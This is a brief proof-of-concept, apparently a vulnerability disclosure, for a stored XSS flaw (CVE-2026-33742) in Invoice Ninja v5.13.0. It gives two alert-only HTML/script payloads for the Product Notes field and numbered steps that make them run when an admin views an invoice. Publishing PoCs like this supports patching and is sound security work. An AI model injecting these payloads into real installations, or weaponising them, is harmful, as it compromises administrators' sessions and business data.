CVE-2026-33742 Invoice Ninja存储型XSS漏洞

// PoC for CVE-2026-33742: Invoice Ninja Stored XSS via Product Notes // Target: Invoice Ninja v5.13.0 // Attackers with low privileges can inject malicious HTML into the 'Product notes' field. // Since the Markdown parser allows raw HTML and it is not sanitized on output, // the script executes when an admin views the invoice. // Malicious Payload to be entered in Product Notes: const payload = "<img src=x onerror=alert('CVE-2026-33742 - Stored XSS')>"; // Alternative Payload (depending on Markdown parser strictness): // const payload = "<script>alert('CVE-2026-33742');</script>"; console.log(`[+] Injecting payload into Product Notes: ${payload}`); // Explanation: // 1. Attacker creates/edits a product. // 2. Pastes the payload into the 'Notes' field. // 3. Saves the product. // 4. The payload is stored in the database. // 5. When an Admin views an invoice containing this product, the XSS triggers.